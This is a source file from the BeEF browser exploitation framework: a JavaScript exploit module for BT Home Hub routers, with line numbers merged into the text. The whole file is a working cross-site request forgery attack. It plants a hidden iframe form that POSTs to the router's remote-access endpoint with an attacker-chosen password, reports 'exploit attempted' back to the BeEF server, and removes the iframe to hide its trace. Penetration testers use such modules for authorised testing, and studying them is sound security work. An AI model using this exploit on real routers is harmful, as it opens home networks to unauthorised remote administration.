Path: blob/master/modules/exploits/router/bt_home_hub_csrf/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var gateway = '<%= @base %>';8var passwd = '<%= @password %>';9var timeout = 15;1011var bt_home_hub_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "/cgi/b/ras//?ce=1&be=1&l0=5&l1=5", "POST", "application/x-www-form-urlencoded", [12{'type':'hidden', 'name':'0', 'value':'31'} ,13{'type':'hidden', 'name':'1', 'value':''},14{'type':'hidden', 'name':'30', 'value':passwd}15]);1617beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");1819cleanup = function() {20document.body.removeChild(bt_home_hub_iframe_<%= @command_id %>);21}22setTimeout("cleanup()", timeout*1000);2324});25262728